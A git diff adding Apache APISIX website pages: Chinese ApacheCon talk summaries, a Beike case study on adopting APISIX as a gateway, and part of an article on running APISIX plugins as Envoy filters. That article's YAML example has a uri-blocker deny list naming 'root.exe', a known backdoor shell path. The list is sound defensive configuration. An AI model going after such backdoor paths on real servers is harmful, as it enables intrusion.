diff --git a/articles/Speed-Limiting-With-Apache-APISIX/index.html b/articles/Speed-Limiting-With-Apache-APISIX/index.html
new file mode 100644
index 00000000000..3c70e502776
--- /dev/null
+++ b/articles/Speed-Limiting-With-Apache-APISIX/index.html
@@ -0,0 +1,10 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>使用 Apache APISIX 实现限流限速 | Apache APISIX</title><meta name="description" content="本次分享将带来如何使用 Apache APISIX 来实现动态、精细化、分布式的限流限速,以及如何通过插件编排来实现更符合业务需求的限流限速。"><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/articles/Speed-Limiting-With-Apache-APISIX/"><link rel="alternate" hreflang="en" href="https://apisix.apac [...]
+<iframe 5="" src="//player.bilibili.com/player.html?aid=674805891&bvid=BV19U4y177Vh&cid=388403877&page=1" frameborder="0" scrolling="no" allowfullscreen="true" style="{{width:"100%"," maxheight:="" "calc(100vw="" *="" 3)",="" height:="" "calc(100vh="" 3)"}}=""></iframe>
+<h2 id="分享人简介">分享人简介</h2>
+<p>陈军旭,互联网老兵,曾任职于新浪、迅雷、360 等知名互联网公司。 最近两年开始深度参与开源,热爱开源。目前从事开源商业化创业。</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>谈到限流限速,人们往往最先想到的是 Nginx 。然而 Nginx 通过配置文件的方式实现,每次变更都需要 reload ,这让运维工作极其繁杂。另一方面,限速的条件被限制在 Nginx 的变量范围内,使得 Nginx 难以实现业务上精细化的限流限速需求。</p>
+<p>本次分享将带来如何使用 Apache APISIX 来实现动态、精细化、分布式的限流限速,以及如何通过插件编排来实现更符合业务需求的限流限速。</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png">https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png</a>” alt=“Apache APISIX WeChat” style={{width: “200px”}} /></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
diff --git a/articles/Test-Apache-APISIX-Resilience-With-Chaos-Mesh/index.html b/articles/Test-Apache-APISIX-Resilience-With-Chaos-Mesh/index.html
new file mode 100644
index 00000000000..594786f6bae
--- /dev/null
+++ b/articles/Test-Apache-APISIX-Resilience-With-Chaos-Mesh/index.html
@@ -0,0 +1,10 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>用 Chaos Mesh 测试 Apache APISIX 的恢复能力 | Apache APISIX</title><meta name="description" content="Apache APISIX 是领先的 API 网关 OSS 之一。APISIX 使用了不同种类的测试,包括单元、e2e 和模糊测试,当一些不正常但不可避免的情况发生时,例如网络故障、IO 压力或 pod 故障,APISIX 会如何表现。因此,在这里我们使用 Chaos Mesh,一个基于 Kubernetes 的混沌工程平台,可以顺利地注入不同种类的混沌,并将其整合到我们的 CI 管道中。在这个讲座的最后,听众会了解到混沌工程会在哪些方面给 API 网关带来好处,以及如何将混沌网整合到你自己的测试管道中。"><meta [...]
+<iframe 5="" src="//player.bilibili.com/player.html?aid=334774886&bvid=BV1JA411w7w8&cid=388417850&page=1" frameborder="0" scrolling="no" allowfullscreen="true" style="{{width:"100%"," maxheight:="" "calc(100vw="" *="" 3)",="" height:="" "calc(100vh="" 3)"}}=""></iframe>
+<h2 id="分享人简介">分享人简介</h2>
+<p>吴舒旸,Apache APISIX 和 Chaos Mesh 的提交者,目前在 API7 担任实习软件工程师。他领导了 Chaos Mesh 与 Apache APISIX CI 的整合工作。</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>Apache APISIX 是领先的 API 网关 OSS 之一。为了确保一切按计划进行,APISIX 使用了不同种类的测试,包括单元、e2e 和模糊测试。然而,我们仍然不确定,当一些不正常但不可避免的情况发生时,例如网络故障、IO 压力或 pod 故障,APISIX 会如何表现。</p>
+<p>因此,在这里我们使用 Chaos Mesh,一个基于 Kubernetes 的混沌工程平台,可以顺利地注入不同种类的混沌,并将其整合到我们的 CI 管道中。在这个讲座的最后,听众会了解到混沌工程会在哪些方面给 API 网关带来好处,以及如何将混沌网整合到你自己的测试管道中。</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png">https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png</a>” alt=“Apache APISIX WeChat” style={{width: “200px”}} /></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
diff --git a/articles/The-Appeal-of-OpenSource/index.html b/articles/The-Appeal-of-OpenSource/index.html
new file mode 100644
index 00000000000..20937e395ff
--- /dev/null
+++ b/articles/The-Appeal-of-OpenSource/index.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>开源的魅力 | Apache APISIX</title><meta name="description" content="Apache 软件基金会顶级项目 Apache APISIX 以及子项目,在过去 30 天中共合并了 250+ PRs,贡献者趋势也十分乐观。除此之外,高质量的邮件列表、活跃的、QQ 群 与 GitHub 也吸引众多社区的关注。作为 Apache APISIX PMC,从我的视角来分享 Apache APISIX 做了哪些事情,催化出活跃的社区。"><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/articles/The-Appeal-o [...]
+<iframe 5="" src="//player.bilibili.com/player.html?aid=504930956&bvid=BV1tg41157TB&cid=392831471&page=1" frameborder="0" scrolling="no" allowfullscreen="true" style="{{width:"100%"," maxheight:="" "calc(100vw="" *="" 3)",="" height:="" "calc(100vh="" 3)"}}=""></iframe>
+<h2 id="分享人简介">分享人简介</h2>
+<p>琚致远,来自深圳<a href="https://api7.ai/">支流科技</a>,负责团队大前端与企业产品,并作为 Apache APISIX PMC 在积极维护 Apache 项目建设与社区生态。此外,他也在坚持引导、鼓励更多人学习 Web 技术,是 freeCodeCamp 中国核心组织者之一。</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>Apache 软件基金会顶级项目 Apache APISIX 以及子项目,在过去 30 天中共合并了 250+ PRs,贡献者趋势也十分乐观。除此之外,高质量的邮件列表、活跃的、QQ 群 与 GitHub 也吸引众多社区的关注。作为 Apache APISIX PMC,从我的视角来分享 Apache APISIX 做了哪些事情,催化出活跃的社区?</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<img src="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png" alt="Apache APISIX WeChat" width="200px"> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.a [...]
\ No newline at end of file
diff --git a/articles/The-Evolution-of-Apache-APISIX/index.html b/articles/The-Evolution-of-Apache-APISIX/index.html
new file mode 100644
index 00000000000..2503bdbc936
--- /dev/null
+++ b/articles/The-Evolution-of-Apache-APISIX/index.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX 的演变 | Apache APISIX</title><meta name="description" content="Apache APISIX 是最受欢迎的 API 网关之一。我将介绍一下 APISIX 的发展,包括:1.我们所做的好决定,2.我们所做的不好的决定,3.我们的未来计划。"><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/articles/The-Evolution-of-Apache-APISIX/"><link rel="alternate" hreflang="en" href="https://apisix [...]
+<iframe 5="" src="//player.bilibili.com/player.html?aid=890054774&bvid=BV1xP4y1p7p8&cid=394697073&page=1" frameborder="0" scrolling="no" allowfullscreen="true" style="{{width:"100%"," maxheight:="" "calc(100vw="" *="" 3)",="" height:="" "calc(100vh="" 3)"}}=""></iframe>
+<h2 id="分享人简介">分享人简介</h2>
+<p>罗泽轩,Apache APISIX Committer 和 OpenResty 的核心开发者.</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>Apache APISIX 是最受欢迎的 API 网关之一:<a href="https://github.com/apache/apisix%E3%80%82%E6%88%91%E5%B0%86%E4%BB%8B%E7%BB%8D%E4%B8%80%E4%B8%8B">https://github.com/apache/apisix。我将介绍一下</a> APISIX 的发展,包括:1.我们所做的好决定,2.我们所做的不好的决定,3.我们的未来计划。</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png">https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png</a>” alt=“Apache APISIX WeChat” style={{width: “200px”}} /></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
diff --git a/articles/Using-Apache-APISIX-To-Do-Authentication-and-Authorization/index.html b/articles/Using-Apache-APISIX-To-Do-Authentication-and-Authorization/index.html
new file mode 100644
index 00000000000..d8de1df25a3
--- /dev/null
+++ b/articles/Using-Apache-APISIX-To-Do-Authentication-and-Authorization/index.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>使用 Apache APISIX 进行认证和授权 | Apache APISIX</title><meta name="description" content="认证和授权是 API 网关中非常必要的功能。这样一来,位于网关后面的服务就可以得到保护,避免未经授权或恶意的访问、数据泄露和黑客攻击。Apache APISIX 是一个动态、实时、高性能的 API 网关。而且它提供了许多插件,包括像 key-auth、Open-ID、wolf-RBAC 等认证和授权。本提案介绍了如何使用 APISIX 来进行认证和授权。"><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.o [...]
+<iframe 5="" src="//player.bilibili.com/player.html?aid=292326444&bvid=BV1hf4y137So&cid=388409219&page=1" frameborder="0" scrolling="no" allowfullscreen="true" style="{{width:"100%"," maxheight:="" "calc(100vw="" *="" 3)",="" height:="" "calc(100vh="" 3)"}}=""></iframe>
+<h2 id="分享人简介">分享人简介</h2>
+<p>朱欣欣,Apache APISIX 的提交者,有多年的 CDN 工作经验,熟悉 API 网关。</p>
+<h2 id="分享主题介绍">分享主题介绍</h2>
+<p>认证和授权是 API 网关中非常必要的功能。这样一来,位于网关后面的服务就可以得到保护,避免未经授权或恶意的访问、数据泄露和黑客攻击。Apache APISIX 是一个动态、实时、高性能的 API 网关。而且它提供了许多插件,包括像 key-auth、Open-ID、wolf-RBAC 等认证和授权。本提案介绍了如何使用 APISIX 来进行认证和授权。</p>
+<h2 id="ppt-下载">PPT 下载</h2>
+<p>关注 Apache APISIX 公众号,回复“ApacheCon”下载 PPT。</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png">https://static.apiseven.com/202108/1639468506819-7f829080-19de-4d94-b103-e1d967e0baea.png</a>” alt=“Apache APISIX WeChat” style={{width: “200px”}} /></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
diff --git a/articles/archive/index.html b/articles/archive/index.html
new file mode 100644
index 00000000000..a3274dc298b
--- /dev/null
+++ b/articles/archive/index.html
@@ -0,0 +1 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Articles Archive | Apache APISIX</title><meta name="description" content="APISIX is a dynamic, high-performance API Gateway with features like load balancing, canary release, authentication, and observability. As an AI Gateway, it enables AI proxying, LLM load balancing, retries, fallbacks, token-based rate limiting, and security to enhance AI agent effic [...]
\ No newline at end of file
diff --git a/articles/index.html b/articles/index.html
new file mode 100644
index 00000000000..6cb7155312d
--- /dev/null
+++ b/articles/index.html
@@ -0,0 +1 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Articles | Apache APISIX</title><meta name="description" content="Stories about the Apache APISIX community and the Apache Way."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/articles/"><link rel="alternate" hreflang="en" href="https://apisix.apache.org/articles/"><link rel="alternate" hreflang="zh" href= [...]
\ No newline at end of file
diff --git a/articles/page/2/index.html b/articles/page/2/index.html
new file mode 100644
index 00000000000..1922c5f6534
--- /dev/null
+++ b/articles/page/2/index.html
@@ -0,0 +1 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Articles | Apache APISIX</title><meta name="description" content="APISIX is a dynamic, high-performance API Gateway with features like load balancing, canary release, authentication, and observability. As an AI Gateway, it enables AI proxying, LLM load balancing, retries, fallbacks, token-based rate limiting, and security to enhance AI agent efficiency an [...]
\ No newline at end of file
diff --git a/blog/2020/12/11/beike-how-to-build-gateway-based-on-apache-apisix/index.html b/blog/2020/12/11/beike-how-to-build-gateway-based-on-apache-apisix/index.html
new file mode 100644
index 00000000000..3c2bcb4ee86
--- /dev/null
+++ b/blog/2020/12/11/beike-how-to-build-gateway-based-on-apache-apisix/index.html
@@ -0,0 +1,52 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Ke Holdings Inc chooses Apache APISIX as API Gateway | Apache APISIX</title><meta name="description" content="Beike chose to use the Apache APISIX as the API gateway, which handles hundreds of millions of traffic every day with excellent and stable performance."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.o [...]
+<p>This article describes why Beike chose Apache APISIX as the API gateway at the beginning, and some experiences in the process of using it.</p>
+</blockquote>
+<!--truncate-->
+<p>My name is Hui Wang, and I am responsible for the development of the API gateway system at Beike. Beike uses Apache APISIX as the API gateway for the production system. It handles over 100 million production traffic every day, with excellent performance and stability. It happens that Apache APISIX has just joined the Apache incubator. In addition to congratulations, I would like to share why Beike chose Apache APISIX at the beginning and some experiences in the process of using it.</p>
+<h2 id="choose-kong-or-apache-apisix">Choose Kong or Apache APISIX</h2>
+<p><img src="https://static.apiseven.com/2020/1211/20220816-202641.jpg" alt="Apache APISIX vs Kong in QPS"></p>
+<p>For the technical requirements of the gateway, the first is to have good performance and be able to support the access of large traffic, and the second is to be stable without problems.</p>
+<p>The principle of model selection is to reconstruct a more stable version based on or learn from open source projects, which can ensure access to larger traffic. After evaluating the pros and cons, I communicated the idea with the leader, and decided to start it after getting the leader’s affirmation. At this time, the first thing that comes to mind is Kong, the famous open source gateway. So I went to the official website to browse and read some surrounding articles. The first impress [...]
+<p>At this time, several questions appeared in my mind. How long can I chew down Kong by myself? And then how long does it take to build a project that suits you? There are so many functions I need?</p>
+<p>Just a few days ago, the API gateway Apache APISIX version 0.5 was released. I took a look with an understanding mentality and found that it was an open source project jointly developed by the academy student and Wen Ming. With the guarantee of two technical bigwigs, I really wanted to try it out. .</p>
+<p>With the attitude of giving it a try, I started to approach Apache APISIX. Due to the short open source time, the supported functions are limited, but basic functions such as dynamic load balancing, circuit breaker, identity authentication, speed limit, etc. have been implemented. At the same time, the amount of code is not very large, which reduces the cost of learning. At this point, PK lost Kong. So on the whole, Apache APISIX is more suitable for my current situation, to meet my i [...]
+<p>The most critical question, how is the performance of the open source time so short? Looking at the comparison of the stress test data in the same environment, Apache APISIX completely exploded Kong, although this is not fair. After all, Kong is a behemoth, but for my production environment, they are the same. According to the performance test report of Apache APISIX, a single-core CPU can reach 24k QPS, while the latency is only 0.7 milliseconds.</p>
+<p>In the end, I chose Apache APISIX for the following reasons:</p>
+<ul>
+<li>On the premise that it can meet the needs of the project, the learning cost of Apache APISIX is low</li>
+<li>Kong has a huge amount of code, and later maintenance will also bring difficulties</li>
+<li>Apache APISIX authors are often active in the OpenResty community with guaranteed code quality</li>
+<li>The most important point is to have contact with the author, and you can communicate quickly if you have any questions</li>
+</ul>
+<p>The reasons for the APISIX official website are shown in the following figure:</p>
+<p><img src="https://static.apiseven.com/202108/1646727279805-b59129ed-4911-4992-9aad-99c44d9b70a5.png" alt="error/Apache APISIX Function"></p>
+<h2 id="what-capabilities-can-apache-apisix-provide">What capabilities can Apache APISIX provide</h2>
+<ul>
+<li>Hot Updates and Hot Plugins</li>
+<li>Dynamic load balancing</li>
+<li>Active and passive health detection</li>
+<li>Circuit Breaking</li>
+<li>Authentication</li>
+<li>Current limit and speed limit</li>
+<li>gRPC protocol conversion</li>
+<li>Dynamic TCP/UDP, gRPC, websocket, MQTT broker</li>
+<li>Dashboard</li>
+<li>Prohibited and Permitted List</li>
+<li>Serverless</li>
+</ul>
+<p>Apache APISIX has been released nearly ten versions, and it supports far more functions than these. The architecture diagram is drawn according to the business situation, as follows:</p>
+<p><img src="https://static.apiseven.com/202108/1646727500177-67f887a6-eb40-4a3e-b427-675f6bacbf65.png" alt="error/Apache APISIX Architecture diagram"></p>
+<h2 id="integrating-apisix-process">Integrating APISIX Process</h2>
+<p>After a few days of code reading, I have a certain understanding of Apache APISIX, but the first problem arises: I have no experience in developing based on open source projects before. How to do it? I created three branches locally, one Apache APISIX branch points to the upstream open source repository, dev is used for regular business iteration, and the master branch is used for online upgrades.</p>
+<p>After two weeks of typing on the keyboard, my “Little King Kong” finally has some appearance. It’s time to see how fast it runs and whether it saves fuel. That’s how the stress test began. The service is deployed on Tencent Cloud with 8 Core and 32 GB emory. The upstream is a real online production environment, so it cannot be pressed too hard. The performance report is as follows:</p>
+<p><img src="https://static.apiseven.com/202108/1646727556563-0db3dab3-8ffb-4db5-8459-14c5f58140be.png" alt="error/Apache APISIX performance test"></p>
+<p>Performance report summary: The interface time consumption is reduced by 47%, no errors are generated, and the stability is improved. The TPS peak value is increased by 82%, no errors are generated, and the stability is improved.</p>
+<p>The development environment is no problem, and we start to study online deployment. Apache APISIX supports various installation methods: Docker, RPM Package, Luarocks and Source Code. However, the online environment does’t allow anything to be installed, and the code can only be placed in a fixed path. Many features supported by Apache APISIX are based on OpenResty 1.15.8. What should I do? After compiling, put it in the code repository, compile it according to the specified directory [...]
+<p>After several weeks of observation, the online service is very stable. Many functions of Apache APISIX 0.5 must be implemented through API interface calls. The request parameters are prone to syntax errors, and there is no intuitive and convenient page. Another point is that my business scenario needs to have the function of probing upstream services. It’s such a coincidence that Apache APISIX version 0.7 has been released, and version 0.7 supports console and upstream service explora [...]
+<p>The Apache APISIX branch is easy to upgrade to 0.7, how do I merge the code? The code changes of the two versions are very large. Try to merge them first. There are too many conflicts, and the rhythm is dead. The ordinary method of resolving conflicts is unrealistic. There will be hidden bugs when you shake your hands in so many places. Is there no efficient way? I searched and found the shortcut methods git checkout —ours and git checkout —theirs (search for yourself if you haven’t u [...]
+<p>Apache APISIX 0.7 version provides a console, no need to spell json anymore. I quickly tested the health detection function. There was no problem at first, and I could clearly perceive the status of the upstream service. However, when I observed the logs of the upstream service, I found that after several starts and stops, the frequency of the health detection function seems to be faster. It should be that there is a bug in the health check. Simply read the relevant code and find that [...]
+<p>I upgraded the online business APISIX to 0.7, and then observed the service resource usage. After all, it was a larger version, and I didn’t feel it for the first few hours, which was similar to the previous 0.5. I’ll take a look at it again when I get off work. It seems that the memory resource usage is not right. The 0.5 version has been relatively stable, but the 0.7 version seems to have leaks. Because the memory usage is growing very slowly, I decided to observe it for another ni [...]
+<p>Going online again, Apache APISIX 0.7 version still gave me some surprises. The routing dependency used in Apache APISIX 0.5 version was libr3, while Apache APISIX 0.7 used radixtree instead, which has better performance, cpu usage and memory than before. All have declined. In Apache APISIX 0.5, the single-work cpu usage is 1-10%, and the memory is 0.1%. In Apache APISIX 0.7, the single-work cpu usage is reduced to 1-2%, and the memory is less than 0.1%, which is excellent.</p>
+<h2 id="future-plan">Future Plan</h2>
+<p>Apache APISIX has been running online for two months, and there has been no online failure. This is the beginning, and we can do a lot in the future to show more capabilities to service providers. The gateway provides not only a reverse proxy, but also helps some teams that do not have more energy to develop functions to ensure service stability, including services such as current limiting, circuit breaker, monitoring, and access platforms. Finally, I would like to thank the two big g [...]
+<p>Now the daily traffic of the gateway has exceeded 100 million, and there is no performance problem. If the traffic can reach one billion, I will share Apache APISIX and my way forward in the future. Welcome everyone to pay attention.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li>< [...]
\ No newline at end of file
diff --git a/blog/2020/12/16/another-way-to-implement-envoy-filter/index.html b/blog/2020/12/16/another-way-to-implement-envoy-filter/index.html
new file mode 100644
index 00000000000..19685ea8341
--- /dev/null
+++ b/blog/2020/12/16/another-way-to-implement-envoy-filter/index.html
@@ -0,0 +1,123 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Run APISIX Plugins in Envoy as Filters | Apache APISIX</title><meta name="description" content="Run APISIX Lua plugins as Envoy filters using envoy-apisix. Extend Envoy with dynamic capabilities without writing C++ code."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2020/12/16/another-way-to-impleme [...]
+<p>This article explains how to run Apache APISIX plugins in Envoy.</p>
+</blockquote>
+<!--truncate-->
+<blockquote>
+<p>Source: <a href="https://www.apiseven.com/en/blog/another-way-to-implement-envoy-filter">https://www.apiseven.com/en/blog/another-way-to-implement-envoy-filter</a></p>
+</blockquote>
+<h2 id="ways-to-implement-envoy-filter">Ways to implement Envoy filter</h2>
+<h3 id="envoy-filter">Envoy filter</h3>
+<p>Envoy is an L7 proxy and communication bus designed for large modern service oriented architectures.
+A pluggable filter chain mechanism allows filters to be written to perform different tasks and inserted into the main server.</p>
+<p><img src="https://static.apiseven.com/filters.png" alt="Envoy filter"></p>
+<h3 id="expansion-method">Expansion method</h3>
+<p>The existing filters may not meet the user’s custom requirements. In this case, Envoy needs to be extended. Customize new filters according to the existing filter chain to achieve customization requirements.</p>
+<p>Developers can extend Envoy in three ways:</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+<table><thead><tr><th align="center"></th><th align="center">Getting Started difficulty</th><th align="center">stability</th><th align="center">development efficiency</th><th align="center">Deploy and compile</th></tr></thead><tbody><tr><td align="center">C++</td><td align="center">high</td><td align="center">stable</td><td align="center">low</td><td align="center">long time to compile</td></tr><tr><td align="center">Lua</td><td align="center">low</td><td align="center">stable</td><td al [...]
+<ol>
+<li>Using C++ to extend</li>
+</ol>
+<p>In this way, C++ code is written directly on the basis of Envoy for functional enhancement. After implementing a custom filter, the new binary file is recompiled to complete the upgrade. There are two problems with this way:</p>
+<ul>
+<li>
+<p>Limited by the C++ language, difficulty of getting started, scarcity of developers.</p>
+</li>
+<li>
+<p>Increasing the complexity of deployment, operation and maintenance, and upgrades. Envoy will become heavier and heavier, and every change requires recompiling the binary file, which is not conducive to iteration and management.</p>
+</li>
+</ul>
+<ol start="2">
+<li>Using Lua to extend</li>
+</ol>
+<p>Lua is born to be embedded in the application, so as to provide flexible extension and customization features for application, and is widely used.</p>
+<p>Lua Filter allows Lua scripts to be run in the request and response process. The main features currently supported include: inspection of headers, body, and trailers while streaming in either the request flow, response flow;modification of headers and trailers;blocking and buffering the full request/response body for inspection;performing an outbound async HTTP call to an upstream host;performing a direct response and skipping further filter iteration, etc.</p>
+<p>At present, many people directly distribute Lua code in configuration, which is not conducive to code organization and management, and it is difficult to share with others to form an ecosystem.</p>
+<ol start="3">
+<li>Using WASM extension</li>
+</ol>
+<p>Developers can write filters in their own programming language, compile them into WASM format using tools, and embed them into Envoy to run.</p>
+<p>It currently supports few languages, and using these languages to extend is still not that simple. On the other hand, many people still have reservations about WASM and may not directly use it.</p>
+<h2 id="apache-apisix-solution">Apache APISIX solution</h2>
+<p>Based on the above analysis, we could see that Lua is very suitable for extending Envoy, and it is easy to learn, and the development efficiency is extremely high. Because it is embedded in Envoy, there is no additional network overhead, and the performance is good.</p>
+<p><a href="https://github.com/apache/apisix">Apache APISIX</a> community proposes its own solution based on Lua, which is to provide a powerful and flexible basic library to implement all plugins of Apache APISIX and plugins that will be developed in the future to run on Envoy. Developers could also develop their own customized plugins based on this basic library.</p>
+<p>Apache APISIX is a dynamic, real-time, high-performance API gateway, based on the Nginx library and Lua. Apache APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more.</p>
+<h3 id="example">Example</h3>
+<p>Please check the repo for specific code and how to run: <a href="https://github.com/api7/envoy-apisix">https://github.com/api7/envoy-apisix</a></p>
+<p>The relevant configuration of Envoy is as follows:</p>
+<p>Define a Filter:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">http_filters</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3">- </span><span style="color:#7EE787">name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">entry.lua</span></span>
+<span class="line"><span style="color:#7EE787"> typed_config</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#A5D6FF"> "@type"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua</span></span>
+<span class="line"><span style="color:#7EE787"> source_codes</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> entry.lua</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> filename</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">/apisix/entry.lua</span></span></code></pre>
+<p>Enable the Filter for a route and configure it with metadata:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">routes</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3">- </span><span style="color:#7EE787">match</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> prefix</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"/foo"</span></span>
+<span class="line"><span style="color:#7EE787"> route</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> cluster</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">web_service</span></span>
+<span class="line"><span style="color:#7EE787"> typed_per_filter_config</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> envoy.filters.http.lua</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#A5D6FF"> "@type"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">type.googleapis.com/envoy.extensions.filters.http.lua.v3.LuaPerRoute</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">entry.lua</span></span>
+<span class="line"><span style="color:#7EE787"> metadata</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> filter_metadata</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> envoy.filters.http.lua</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> plugins</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">uri-blocker</span></span>
+<span class="line"><span style="color:#7EE787"> conf</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> rejected_code</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">403</span></span>
+<span class="line"><span style="color:#7EE787"> block_rules</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">root.exe</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">root.m+</span></span></code></pre>
+<h3 id="how-does-it-work">How does it work</h3>
+<p>We don’t need to make major changes to Envoy, only some optimizations that are suitable for public needs.</p>
+<p>We shield platform differences for the plugin layer. All interfaces that need to be used are abstracted in the underlying framework, which we call apisix.core, so that all plugins can run on Envoy and Apache APISIX at the same time.</p>
+<p><img src="https://static.apiseven.com/main.png" alt="Architecture diagram"></p>
+<p>We use the previous example to show how the plugin runs:</p>
+<p><img src="https://static.apiseven.com/workflow.png" alt="Plugin workflow"></p>
+<h4 id="first-step-read-configuration">First step, read configuration</h4>
+<p>We configure through metadata to determine what plugins need to run on each route and what configuration is for each plugin.
